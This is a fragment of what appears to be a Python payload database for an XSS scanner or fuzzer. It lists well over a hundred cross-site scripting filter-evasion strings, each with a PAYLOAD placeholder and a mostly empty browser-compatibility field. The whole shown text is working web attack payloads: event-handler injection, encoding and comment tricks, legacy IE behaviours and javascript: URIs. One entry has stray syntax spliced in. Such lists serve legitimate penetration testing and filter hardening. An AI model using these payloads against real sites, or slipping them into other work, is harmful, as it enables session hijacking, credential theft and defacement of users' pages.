  910.         { 'payload':'''<script src="javascript:PAYLOAD">''',
    911. 

  911. 		  'browser':"""[Not Info]"""},
    912. 

  912.         { 'payload':'''<div style=width:1px;filter:glow onfilterchange=javascript:PAYLOAD>x''',
    913. 

  913. 		  'browser':"""[Not Info]"""},
    914. 

  914.         { 'payload':'''<? foo="><script>javascript:PAYLOAD</script>">''',
    915. 

  915. 		  'browser':"""[Not Info]"""},
    916. 

  916.         { 'payload':'''<! foo="><script>javascript:PAYLOAD</script>">''',
    917. 

  917. 		  'browser':"""[Not Info]"""},
    918. 

  918.         { 'payload':'''</ foo="><script>javascript:PAYLOAD</script>">''',
    919. 

  919. 		  'browser':"""[Not Info]"""},
    920. 

  920.         { 'payload':'''<? foo="><x foo='?><script>javascript:PAYLOAD</script>'>">''',
    921. 

  921. 		  'browser':"""[Not Info]"""},
    922. 

  922.         { 'payload':'''<! foo="[[[Inception]]"><x foo="]foo><script>javascript:PAYLOAD</script>">''',
    923. 

  923. 		  'browser':"""[Not Info]"""},
    924. 

  924.         { 'payload':'''<% foo><x foo="%><script>javascript:PAYLOAD</script>">''',
    925. 

  925. 		  'browser':"""[Not Info]"""},
    926. 

  926.         { 'payload':'''<div id=d><x xmlns="><iframe onload=javascript:PAYLOAD"></div> <script>d.innerHTML=d.innerHTML</script>''',
    927. 

  927. 		  'browser':"""[Not Info]"""},
    928. 

  928.         { 'payload':'''<img[a][b][c]src[d]=x[e]onerror=[f]"PAYLOAD">''',
    929. 

  929. 		  'browser':"""[Not Info]"""},
    930. 

  930.         { 'payload':'''<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:PAYLOAD>XXX</a>''',
    931. 

  931. 		  'browser':"""[Not Info]"""},
    932. 

  932.         { 'payload':'''<img src="x` `<script>javascript:PAYLOAD</script>"` `>''',
    933. 

  933. 		  'browser':"""[Not Info]"""},
    934. 

  934.         { 'payload':'''<img src onerror /" '"= alt=javascript:PAYLOAD//">''',
    935. 

  935. 		  'browser':"""[Not Info]"""},
    936. 

  936.         { 'payload':'''<title onpropertychange=javascript:PAYLOAD></title><title title=>''',
    937. 

  937. 		  'browser':"""[Not Info]"""},
    938. 

  938.         { 'payload':'''<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:PAYLOAD></a>">''',
    939. 

  939. 		  'browser':"""[Not Info]"""},
    940. 

  940.         { 'payload':'''<!--[if]><script>javascript:PAYLOAD</script -->''',
    941. 

  941. 		  'browser':"""[Not Info]"""},
    942. 

  942.         { 'payload':'''<!--[if<img src=x onerror=javascript:PAYLOAD//]> -->''',
    943. 

  943. 		  'browser':"""[Not Info]"""},
    944. 

  944.         { 'payload':'''<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:PAYLOAD" style="behavior:url(#x);"><param name=postdomevents /></object>''',
    945. 

  945. 		  'browser':"""[Not Info]"""},
    946. 

  946.         { 'payload':'''<a style="-o-link:'javascript:javascript:PAYLOAD';-o-link-source:current">X''',
    947. 

  947. 		  'browser':"""[Not Info]"""},
    948. 

  948.         { 'payload':'''<style>p[foo=bar{}*{-o-link:'javascript:javascript:PAYLOAD'}{}*{-o-link-source:current}]{color:red};</style>''',
    949. 

  949.     	  'browser':"""[Not Info]"""},
    950. 

  950.         { 'payload':'''<link rel=stylesheet href=data:,*%7bx:expression(javascript:PAYLOAD)%7d''',
    951. 

  951. 		  'browser':"""[Not Info]"""},
    952. 

  952.         { 'payload':'''<style>@import "data:,*%7bx:expression(javascript:PAYLOAD)%7D";</style>''',
    953. 

  953. 		  'browser':"""[Not Info]"""},
    954. 

  954.         { 'payload':'''<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:PAYLOAD;">X</a></a><a href="javascript:javascript:PAYLOAD">X</a>''',
    955. 

  955. 		  'browser':"""[Not Info]"""},
    956. 

  956.         { 'payload':'''<div style="list-style:url(http://foo.f)\20url(javascript:javascript:PAYLOAD);">X''',
    957. 

  957.     	  'browser':"""[Not Info]"""},
    958. 

  958.         { 'payload':'''<script>({set/**/$($){_/**/setter=$,_=javascript:PAYLOAD}}).$=eval</script>''',
    959. 

  959. 		  'browser':"""[Not Info]"""},
    960. 

  960.         { 'payload':'''<script>({0:#0=eval/#0#/#0#(javascript:PAYLOAD)})</script>''',
    961. 

  961. 		  'browser':"""[Not Info]"""},
    962. 

  962.         { 'payload':'''<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:PAYLOAD}),x</script>''',
    963. 

  963. 		  'browser':"""[Not Info]"""},
    964. 

  964.         { 'payload':'''<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:PAYLOAD')()</script>''',
    965. 

  965. 		  'browser':"""[Not Info]"""},
    966. 

  966.         { 'payload':'''X<x style=`behavior:url(#default#time2)` onbegin=`javascript:PAYLOAD` >''',
    967. 

  967. 		  'browser':"""[Not Info]"""},
    968. 

  968.         { 'payload':'''1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:PAYLOAD&gt;`>''',
    969. 

  969. 		  'browser':"""[Not Info]"""},
    970. 

  970.         { 'payload':'''1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:PAYLOAD&gt;>''',
    971. 

  971. 		  'browser':"""[Not Info]"""},
    972. 

  972.         { 'payload':'''1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:PAYLOAD strokecolor=white strokeweight=1000px from=0 to=1000 /></a>''',
    973. 

  973. 		  'browser':"""[Not Info]"""},
    974. 

  974.         { 'payload':'''<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:PAYLOAD">X</a>''',
    975. 

  975. 		  'browser':"""[Not Info]"""},
    976. 

  976.         { 'payload':'''<event-source src="%(event)s" onload="javascript:PAYLOAD">''',
    977. 

  977. 		  'browser':"""[Not Info]"""},
    978. 

  978.         { 'payload':'''<a href="javascript:javascript:PAYLOAD"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A">''',
    979. 

  979. 		  'browser':"""[Not Info]"""},
    980. 

  980.         { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
    981. 

  981. 		  'browser':"""[Not Info]"""},
    982. 

  982.         { 'payload':'''<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:PAYLOAD&gt;">''',
    983. 

  983. 		  'browser':"""[Not Info]"""},
    984. 

  984.         { 'payload':'''<IMG SRC="javascript:javascript:PAYLOAD;">''',
    985. 

  985. 		  'browser':"""[Not Info]"""},
    986. 

  986.         { 'payload':'''<IMG SRC=javascript:javascript:PAYLOAD>''',
    987. 

  987. 		  'browser':"""[Not Info]"""},
    988. 

  988.         { 'payload':'''<IMG SRC=`javascript:javascript:PAYLOAD`>''',
    989. 

  989. 		  'browser':"""[Not Info]"""},
    990. 

  990.         { 'payload':'''<FRAMESET><FRAME SRC="javascript:javascript:PAYLOAD;"></FRAMESET>''',
    991. 

  991. 		  'browser':"""[Not Info]"""},
    992. 

  992.         { 'payload':'''<BODY ONLOAD=javascript:javascript:PAYLOAD>''',
    993. 

  993. 		  'browser':"""[Not Info]"""},
    994. 

  994.         { 'payload':'''<IMG SRC="jav    ascript:javascript:PAYLOAD;">''',
    995. 

  995. 		  'browser':"""[Not Info]"""},
    996. 

  996.         { 'payload':'''<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:PAYLOAD>''',
    997. 

  997. 		  'browser':"""[Not Info]"""},
    998. 

  998.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:javascript:PAYLOAD;">''',
    999. 

  999. 		  'browser':"""[Not Info]"""},
    1000. 

  1000.         { 'payload':'''<IMG DYNSRC="javascript:javascript:PAYLOAD">''',
    1001. 

  1001. 		  'browser':"""[Not Info]"""},
    1002. 

  1002.         { 'payload':'''<IMG LOWSRC="javascript:javascript:PAYLOAD">''',
    1003. 

  1003. 		  'browser':"""[Not Info]"""},
    1004. 

  1004.         { 'payload':'''<BGSOUND SRC="javascript:javascript:PAYLOAD;">''',
    1005. 

  1005. 		  'browser':"""[Not Info]"""},
    1006. 

  1006.         { 'payload':'''<BR SIZE="&{javascript:PAYLOAD}">''',
    1007. 

  1007. 		  'browser':"""[Not Info]"""},
    1008. 

  1008.         { 'payload':'''<LINK REL="stylesheet" HREF="javascript:javascript:PAYLOAD;">''',
    1009. 

  1009. 		  'browser':"""[Not Info]"""},
    1010. 

  1010.         { 'payload':'''<STYLE>li {list-style-image: url("javascript:javascript:PAYLOAD");}</STYLE><UL><LI>X''',
    1011. 

  1011. 		  'browser':"""[Not Info]"""},
    1012. 

  1012.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:PAYLOAD;">''',
    1013. 

  1013. 		  'browser':"""[Not Info]"""},
    1014. 

  1014.         { 'payload':'''<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:PAYLOAD;">''',
    1015. 

  1015. 		  'browser':"""[Not Info]"""},
    1016. 

  1016.         { 'payload':'''<IFRAME SRC="javascript:javascript:PAYLOAD;"></IFRAME>''',
    1017. 

  1017. 		  'browser':"""[Not Info]"""},
    1018. 

  1018.         { 'payload':'''<TABLE BACKGROUND="javascript:javascript:PAYLOAD">''',
    1019. 

  1019. 		  'browser':"""[Not Info]"""},
    1020. 

  1020.         { 'payload':'''<TABLE><TD BACKGROUND="javascript:javascript:PAYLOAD">''',
    1021. 

  1021. 		  'browser':"""[Not Info]"""},
    1022. 

  1022.         { 'payload':'''<DIV STYLE="background-image: url(javascript:javascript:PAYLOAD)">''',
    1023. 

  1023. 		  'browser':"""[Not Info]"""},
    1024. 

  1024.         { 'payload':'''<DIV STYLE="width:expression(javascript:PAYLOAD);">''',
    1025. 

  1025. 		  'browser':"""[Not Info]"""},
    1026. 

  1026.         { 'payload':'''<IMG STYLE="x:expr/*X*/ession(javascript:PAYLOAD)">''',
    1027. 

  1027. 		  'browser':"""[Not Info]"""},
    1028. 

  1028.         { 'payload':'''<XSS STYLE="x:expression(javascript:PAYLOAD)">''',
    1029. 

  1029. 		  'browser':"""[Not Info]"""},
    1030. 

  1030.         { 'payload':'''<STYLE TYPE="text/javascript">javascript:PAYLOAD;</STYLE>''',
    1031. 

  1031. 		  'browser':"""[Not Info]"""},
    1032. 

  1032.         { 'payload':'''<STYLE>.XSS{background-image:url("javascript:javascript:PAYLOAD");}</STYLE><A CLASS=XSS></A>''',
    1033. 

  1033. 		  'browser':"""[Not Info]"""},
    1034. 

  1034.         { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:javascript:PAYLOAD")}</STYLE>''',
    1035. 

  1035. 		  'browser':"""[Not Info]"""},
    1036. 

  1036.         { 'payload':'''<BASE HREF="javascript:javascript:PAYLOAD;//">''',
    1037. 

  1037. 		  'browser':"""[Not Info]"""},
    1038. 

  1038. 		{ 'payload':"""<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:PAYLOAD></OBJECT>""",
    1039. 

  1039. 		  'browser':"""[O9.02]"""},
    1040. 

  1040. 		{ 'payload':'''<HTML xmlns:x><?import namespace="x" implementation="%(htc)s"><x:x>XSS</x:x></HTML>""","XML namespace."),("""<XML ID="x"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:PAYLOAD"&gt;</B></I></XML><SPAN DATASRC="#x" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>''',
    1041. 

  1041. 		  'browser':"""[Not Info]"""},
    1042. 

  1042.         { 'payload':'''<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:PAYLOAD&lt;/SCRIPT&gt;"></BODY></HTML>''',
    1043. 

  1043. 		  'browser':"""[Not Info]"""},
    1044. 

  1044.         { 'payload':'''<form id="test" /><button form="test" formaction="javascript:javascript:PAYLOAD">X''',
    1045. 

  1045. 		  'browser':"""[Not Info]"""},
    1046. 

  1046.         { 'payload':'''<body onscroll=javascript:PAYLOAD><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>''',
    1047. 

  1047. 		  'browser':"""[Not Info]"""},
    1048. 

  1048.         { 'payload':'''<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:PAYLOAD">''',
    1049. 

  1049. 		  'browser':"""[Not Info]"""},
    1050. 

  1050.         { 'payload':'''<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:PAYLOAD;');}</STYLE>''',
    1051. 

  1051. 		  'browser':"""[Not Info]"""},
    1052. 

  1052.         { 'payload':'''<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:PAYLOAD&&;&&<&&/script&&>''',
    1053. 

  1053. 		  'browser':"""[Not Info]"""},
    1054. 

  1054.         { 'payload':'''<SCRIPT onreadystatechange=javascript:javascript:PAYLOAD;></SCRIPT>''',
    1055. 

  1055. 		  'browser':"""[Not Info]"""},
    1056. 

  1056.         { 'payload':'''<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:PAYLOAD;</html:script></html:html>''',
    1057. 

  1057. 		  'browser':"""[Not Info]"""},
    1058. 

  1058.         { 'payload':'''<embed code=javascript:javascript:PAYLOAD></embed>''',
    1059. 

  1059. 		  'browser':"""[Not Info]"""},
    1060. 

  1060.         { 'payload':'''<frameset onload=javascript:javascript:PAYLOAD></frameset>''',
    1061. 

  1061. 		  'browser':"""[Not Info]"""},
    1062. 

  1062.         { 'payload':'''<object onerror=javascript:javascript:PAYLOAD>''',
    1063. 

  1063. 		  'browser':"""[Not Info]"""},
    1064. 

  1064.         { 'payload':'''<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:PAYLOAD;">]]</C><X></xml>''',
    1065. 

  1065. 		  'browser':"""[Not Info]"""},
    1066. 

  1066.         { 'payload':'''<IMG SRC=&{javascript:PAYLOAD;};>''',
    1067. 

  1067. 		  'browser':"""[Not Info]"""},
    1068. 

  1068.         { 'payload':'''<a href="jav&#65ascript:javascript:PAYLOAD">X</a>''',
    1069. 

  1069. 		  'browser':"""[Not Info]"""},
    1070. 

  1070.         { 'payload':'''<a href="jav&#97ascript:javascript:PAYLOAD">X</a>''',
    1071. 

  1071. 		  'browser':"""[Not Info]"""},
    1072. 

  1072.         { 'payload':'''<iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:PAYLOAD&amp;gt;>">''',
    1073. 

  1073. 		  'browser':"""[Not Info]"""},
    1074. 

  1074.         { 'payload':'''<IMG SRC=JaVaScRiPt:PAYLOAD>''',
    1075. 

  1075. 		  'browser':"""[Not Info]"""},
    1076. 

  1076.         { 'payload':'''<a onmouseover="PAYLOAD">X</a>''',
    1077. 

  1077. 		  'browser':"""[Not Info]"""},
    1078. 

  1078.         { 'payload':'''<a onmouseover=PAYLOAD>X</a>''',
    1079. 

  1079. 		  'browser':"""[Not Info]"""},
    1080. 

  1080.         { 'payload':'''<INPUT TYPE="IMAGE" SRC="javascript:PAYLOAD;">''',
    1081. 

  1081. 		  'browser':"""[Not Info]"""},
    1082. 

  1082.         { 'payload':'''<STYLE>@im\port'\ja\vasc\ript:PAYLOAD';</STYLE>''',
    1083. 

  1083. 		  'browser':"""[Not Info]"""},
    1084. 

  1084.         { 'payload':'''<STYLE>.X{background-image:url("javascript:PAYLOAD");}</STYLE><A CLASS=X></A>''',
    1085. 

  1085. 		  'browser':"""[Not Info]"""},
    1086. 

  1086.         { 'payload':'''<STYLE type="text/css">BODY{background:url("javascript:PAYLOAD")}</STYLE>''',
    1087. 

  1087. 		  'browser':"""[Not Info]"""},
    1088. 

  1088.         { 'payload':'''<XSS STYLE="xss:expression(PAYLOAD)">''',
    1089. 

  1089. 		  'browser':"""[Not Info]"""},
    1090. 

  1090.         { 'payload':'''<BASE HREF="javascript:PAYLOAD;//">''',
    1091. 

  1091. 		  'browser':"""[Not Info]"""},
    1092. 

  1092.         { 'payload':'''<img src=`%00`&NewLine; onerror=PAYLOAD&NewLine;''',
    1093. 

  1093. 		  'browser':"""[Not Info]"""},
    1094. 

  1094.         { 'payload':'''<iframe/src="data:text/html,<svg &#111;&#110;load=PAYLOAD>">''',
    1095. 

  1095. 		  'browser':"""[Not Info]"""},
    1096. 

  1096.         { 'payload':'''<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; PAYLOAD" http-equiv="refresh"/>''',
    1097. 

  1097. 		  'browser':"""[Not Info]"""},
    1098. 

  1098.         { 'payload':'''<a href="javascript:void(0)" onmouseover=&NewLine;javascript:PAYLOAD&NewLine;>X</a>''',
    1099. 

  1099. 		  'browser':"""[Not Info]"""},
    1100. 

  1100.         { 'payload':'''<marquee onstart='javascript:PAYLOAD&#x28;1&#x29;'>^__^''',
    1101. 

  1101. 		  'browser':"""[Not Info]"""},
    1102. 

  1102.         { 'payload':'''<iframe/%00/ src=javaSCRIPT&colon;PAYLOAD''',
    1103. 

  1103. 		  'browser':"""[Not Info]"""},
    1104. 

  1104.         { 'payload':'''<%<!--'%><script>PAYLOAD;</script -->''',
    1105. 

  1105. 		  'browser':"""[Not Info]"""},
    1106. 

  1106.         { 'payload':'''<script src="data:text/javascript,PAYLOAD"></script>''',
    1107. 

  1107. 		  'browser':"""[Not Info]"""},
    1108. 

  1108.         { 'payload':'''<iframe/onreadystatechange=PAYLOAD''',
    1109. 

  1109. 		  'browser':"""[Not Info]"""},
    1110. 

  1110.         { 'payload':'''<svg/onload=PAYLOAD''',
    1111. 

  1111. 		  'browser':"""[Not Info]"""},
    1112. 

  1112.         { 'payload':'''<input type="text" value=`` <div/onmouseover='PAYLOAD'>X</div>''',
    1113. 

  1113. 		  'browser':"""[Not Info]"""},
    1114. 

  1114.         { 'payload':'''http://www.<script>PAYLOAD</script .com''',
    1115. 

  1115. 		  'browser':"""[Not Info]"""},
    1116. 

  1116.         { 'payload':'''<svg><script ?>PAYLOAD''',
    1117. 

  1117. 		  'browser':"""[Not Info]"""},
    1118. 

  1118.         { 'payload':'''<img src=`xx:xx`onerror=PAYLOAD''',
    1119. 

  1119. 		  'browser':"""[Not Info]"""},
    1120. 

  1120.         { 'payload':'''<meta http-equiv="refresh" content="0;javascript&colon;PAYLOAD"/>''',
    1121. 

  1121. 		  'browser':"""[Not Info]"""},
    1122. 

  1122.         { 'payload':'''<script>+-+-1-+-+PAYLOAD</script>''',
    1123. 

  1123. 		  'browser':"""[Not Info]"""},
    1124. 

  1124.         { 'payload':'''<body/onload=&lt;!--&gt;&#10PAYLOAD>''',
    1125. 

  1125. 		  'browser':"""[Not Info]"""},
    1126. 

  1126.         { 'payload':'''<script itworksinallbrowsers>/*<script* */PAYLOAD</script''',
    1127. 

  1127. 		  'browser':"""[Not Info]"""},
    1128. 

  1128.         { 'payload':'''<img src ?itworksonchrome?\/onerror = PAYLOAD''',
    1129. 

  1129. 		  'browser':"""[Not Info]"""},
    1130. 

  1130.         { 'payload':'''<svg><script onlypossibleinopera:-)> PAYLOAD''',
    1131. 

  1131. 		  'browser':"""[Not Info]"""},
    1132. 

  1132.         { 'payload':'''<script x> PAYLOAD </script 1=2''',
    1133. 

  1133. 		  'browser':"""[Not Info]"""},
    1134. 

  1134.         { 'payload':'''<div/onmouseover='PAYLOAD'> style="x:">''',
    1135. 

  1135. 		  'browser':"""[Not Info]"""},
    1136. 

  1136.         { 'payload':'''<--`<img/src=` onerror=PAYLOAD> --!>''',
    1137. 

  1137. 		  'browser':"""[Not Info]"""},
    1138. 

  1138.         { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="PAYLOAD">x</button>''',
    1139. 

  1139. 		  'browser':"""[Not Info]"""},
    1140. 

  1140.         { 'payload':'''AuDiO/**/oNLoaDStaRt="(_=/**/confirm/**/(PAYLOAD))"/src><!--y''',
    1141. 

  1141. 		  'browser':"""[Not Info]"""},
    1142. 

  1142.         { 'payload':'''<mArquee onStart=[~[onmouseleave(([[(alert(PAYLOAD))]]))]] ]''',
    1143. 

  1143. 		  'browser':"""[Not Info]"""},
    1144. 

  1144.         { 'payload':'''<img src="/" =_=" title="onerror='/**/prompt(PAYLOAD)'">''',
    1145. 

  1145. 		  'browser':"""[Not Info]"""},
    1146. 

  1146.         { 'payload':'''<w="/x="y>"/ondblclick=`<`[confir\u006d``]>PAYLOAD''',
    1147. 

  1147. 		  'browser':"""[Not Info]"""},
    1148. 

  1148.         { 'payload':'''<a/onmousemove=alert(PAYLOAD)//>y''',
    1149. 

  1149. 		  'browser':"""[Not Info]"""},
    1150. 

  1150.         { 'payload':'''<object allowscriptaccess=always><param name=code value=PAYLOAD>''',
    1151. 

  1151. 		  'browser':"""[Not Info]"""},
    1152. 

  1152.         { 'payload':'''<svg+onload=eval(location.hash.substr(1))>#alert(PAYLOAD)''',
    1153. 

  1153. 		  'browser':"""[Not Info]"""},
    1154. 

  1154.         { 'payload':'''<details/open/ontoggle=confirm('PAYLOAD')>''',
    1155. 

  1155. 		  'browser':"""[Not Info]"""},
    1156. 

  1156.         { 'payload':'''</script><svg><script>alert(PAYLOAD)/&apos;''',
    1157. 

  1157. 		  'browser':"""[Not Info]"""},
    1158. 

  1158.         { 'payload':'''<svg </onload ="1> (_=prompt,_(PAYLOAD)) "">''',
    1159. 

  1159. 		  'browser':"""[Not Info]"""},
    1160. 

  1160.         { 'payload':'''<svg 1=""onload=alert(PAYLOAD)>''',
    1161. 

  1161. 		  'browser':"""[Not Info]"""},
    1162. 

  1162.         { 'payload':'''<output name="jAvAsCriPt://&NewLine;\u0061ler&#116(PAYLOAD)" onclick="eval(name)">X</output>''',
    1163. 

  1163. 		  'browser':"""[Not Info]"""},
    1164. 

  1164.         { 'payload':'''<button onmousemove="javascript:alert(PAYLOAD)">y''',
    1165. 

  1165. 		  'browser':"""[Not Info]"""},
    1166. 

  1166.         { 'payload':'''<BoDy%0AOnpaGeshoW=+window.prompt(PAYLOAD)''',
    1167. 

  1167. 		  'browser':"""[Not Info]"""},
    1168. 

  1168.         { 'payload':'''<a href=[0x0b]xss" onfocus=prompt(PAYLOAD) autofocus fragment="''',
    1169. 

  1169. 		  'browser':"""[Not Info]"""},
    1170. 

  1170.         { 'payload':'''<isindex type=image src=1 onerror=alert(PAYLOAD)>''',
    1171. 

  1171. 		  'browser':"""[Not Info]"""},
    1172. 

  1172.         { 'payload':'''<script>a=eval;b=alert;a(b(/ PAYLOAD/.source));</script>'">''',
    1173. 

  1173. 		  'browser':"""[Not Info]"""},
    1174. 

  1174.         { 'payload':'''<!'/!"/!\'/\"/--!><Input/Type=Text AutoFocus */; OnFocus=(confirm)(PAYLOAD) //>''',
    1175. 

  1175. 		  'browser':"""[Not Info]"""},
    1176. 

  1176.         { 'payload':'''\u003csvg/onload=alert`PAYLOAD`\u003e''',
    1177. 

  1177. 		  'browser':"""[Not Info]"""},
    1178. 

  1178.         { 'payload':'''\<svg/onload=alert`PAYLOAD`\>''',
    1179. 

  1179. 		  'browser':"""[Not Info]"""},
    1180. 

  1180.         { 'payload':'''<article xmlns ="urn:img src=x onerror=y()//" >PAYLOAD''',
    1181. 

  1181. 		  'browser':"""[Not Info]"""},
    1182. 

  1182.         { 'payload':'''<img / src = \ 'y \' // onerror = \ 'alert (PAYLOAD) \ '>''',
    1183. 

  1183. 		  'browser':"""[Not Info]"""},
    1184. 

  1184.         { 'payload':'''<img/src=q onerror='new Function`al\ert\`PAYLOAD\``'>''',
    1185. 

  1185. 		  'browser':"""[Not Info]"""},
    1186. 

  1186.         { 'payload':'''<Html Onmouseover=(alert)(PAYLOAD) //''',
    1187. 

  1187. 		  'browser':"""[Not Info]"""},
    1188. 

  1188.         { 'payload':'''<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(PAYLOAD);>''',
    1189. 

  1189. 		  'browser':"""[Not Info]"""},
    1190. 

  1190.         { 'payload':'''<scr<!--esi-->ipt>aler<!--esi-->t(PAYLOAD)</sc<!--esi-->ript>''',
    1191. 

  1191. 		  'browser':"""[Not Info]"""},
    1192. 

  1192.         { 'payload':'''&#x003c;img src=1 onerror=confirm(PAYLOAD)&#x003e;''',
    1193. 

  1193. 		  'browser':"""[Not Info]"""},
    1194. 

  1194.         { 'payload':'''%26%23x003c%3Bimg%20src%3D1%20onerror%3Dalert(PAYLOAD)%26%23x003e%3B%0A''',
    1195. 

  1195. 		  'browser':"""[Not Info]"""},
    1196. 

  1196.         { 'payload':'''x%22%3E%3Cimg%20src=%22x%22%3E%3C!--%2522%2527--%253E%253CSvg%2520O%256ELoad%253Dconfirm%2528/PAYLOAD/%2529%253E''',
    1197. 

  1197. 		  'browser':"""[Not Info]"""},
    1198. 

  1198.         { 'payload':'''<x+oncut=y=prompt,y`PAYLOAD`>y''',
    1199. 

  1199. 		  'browser':"""[Not Info]"""},
    1200. 

  1200.         { 'payload':'''<svG x=">" onload=(PAYLOAD)``>''',
    1201. 

  1201. 		  'browser':"""[Not Info]"""},
    1202. 

  1202.         { 'payload':'''<script/y~~~>;alert(PAYLOAD);</script/Y~~~>''',
    1203. 

  1203. 		  'browser':"""[Not Info]"""},
    1204. 

  1204.         { 'payload':'''<VideO/**/OnerroR=~alert("PAYLOAD")+/SrC>''',
    1205. 

  1205. 		  'browser':"""[Not Info]"""},
    1206. 

  1206.         { 'payload':'''<video/poster/onerror=prompt(PAYLOAD)>''',
    1207. 

  1207. 		  'browser':"""[Not Info]"""},
    1208. 

  1208.         { 'payload':'''<sVG/xss/OnLoaD+="window['confirm']+(PAYLOAD)">''',
    1209. 

  1209. 		  'browser':"""[Not Info]"""},
    1210. 

  1210.         { 'payload':'''<img x/src=x /onerror="x-\u0063onfirm(PAYLOAD)">''',
    1211. 

  1211. 		  'browser':"""[Not Info]"""},
    1212. 

  1212.         { 'payload':'''<VidEo/oNLoaDStaRt=confirm(PAYLOAD)+/src>''',
    1213. 

  1213. 		  'browser':"""[Not Info]"""},
    1214. 

  1214.         { 'payload':'''<p/%0Aonmouseover%0A=%0Aconfirm(PAYLOAD)>y''',
    1215. 

  1215. 		  'browser':"""[Not Info]"""},
    1216. 

  1216.         { 'payload':'''<span/onmouseover=confirm(PAYLOAD)>y''',
    1217. 

  1217. 		  'browser':"""[Not Info]"""},
    1218. 

  1218.         { 'payload':'''<svg/onload=window.onerror=alert;throw/PAYLOAD/;//''',
    1219. 

  1219. 		  'browser':"""[Not Info]"""},
    1220. 

  1220.         { 'payload':'''%00<body onload=alert(PAYLOAD)>''',
    1221. 

  1221. 	      'browser':"""[Not Info]"""},
    1222. 

  1222.         { 'payload':'''&#00;</form><input type&#61;"date" onfocus="alert(PAYLOAD)">''',
    1223. 

  1223. 	      'browser':"""[Not Info]"""},
    1224. 

  1224.         { 'payload':'''"'`><%00img src=xxx:x onerror=javascript:alert(PAYLOAD)>>''',
    1225. 

  1225. 	      'browser':"""[Not Info]"""},
    1226. 

  1226.         { 'payload':'''%00“><script>alert(PAYLOAD)</script>''',
    1227. 

  1227.     	  'browser':"""[Not Info]"""},
    1228. 

  1228.         { 'payload':''''`"><%00script>javascript:alert(PAYLOAD)</script>''',
    1229. 

  1229. 	      'browser':"""[Not Info]"""},
    1230. 

  1230.         { 'payload':'''--><!-- --%21> <img src=xxx:x onerror=javascript:alert(PAYLOAD)> -->>''',
    1231. 

  1231.           'browser':"""[Not Info]"""},
    1232. 

  1232.         { 'payload':'''%22%20onmouseover=javascript:alert(PAYLOAD)%20%22''',
    1233. 

  1233.      	  'browser':"""[Not Info]"""},
    1234. 

  1234.         { 'payload':'''%22/%3E%3Cmeta%20http-equiv=refresh%20content=0;javascript:alert(PAYLOAD);>''',
    1235. 

  1235. 	      'browser':"""[Not Info]"""},
    1236. 

  1236.         { 'payload':'''%22%3E%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E''',
    1237. 

  1237. 	      'browser':"""[Not Info]"""},
    1238. 

  1238.         { 'payload':'''&#34;&#62;<h1/onmouseover='%0061lert(PAYLOAD)'>%00''',
    1239. 

  1239. 	      'browser':"""[Not Info]"""},
    1240. 

  1240.         { 'payload':'''&#34;&#62;<svg><style>{-o-link-source&colon;"<body/onload=confirm(PAYLOAD)>"''',
    1241. 

  1241. 		  'browser':"""[Not Info]"""},
    1242. 

  1242.         { 'payload':'''%3Cform%20name%3D%22body%22%20onmouseover%3D%22alert(PAYLOAD)%22%20style%3D%22height%3A800px%22%3E%3Cfieldset%20name%3D%22attributes%22%3E%3Cform%3E%3C%2Fform%3E%3Cform%20name%3D%22parentNode%22%3E%3Cimg%20id%3D%22attributes%22%3E%3C%2Fform%3E%3C%2Ffieldset%3E%3C%2Fform%3E''',
    1243. 

  1243. 		  'browser':"""[Not Info]"""},
    1244. 

  1244.         { 'payload':'''%3Cform%20onmouseover%3Dalert(PAYLOAD)%3E%3Cinput%20name%3Dattributes%3E''',
    1245. 

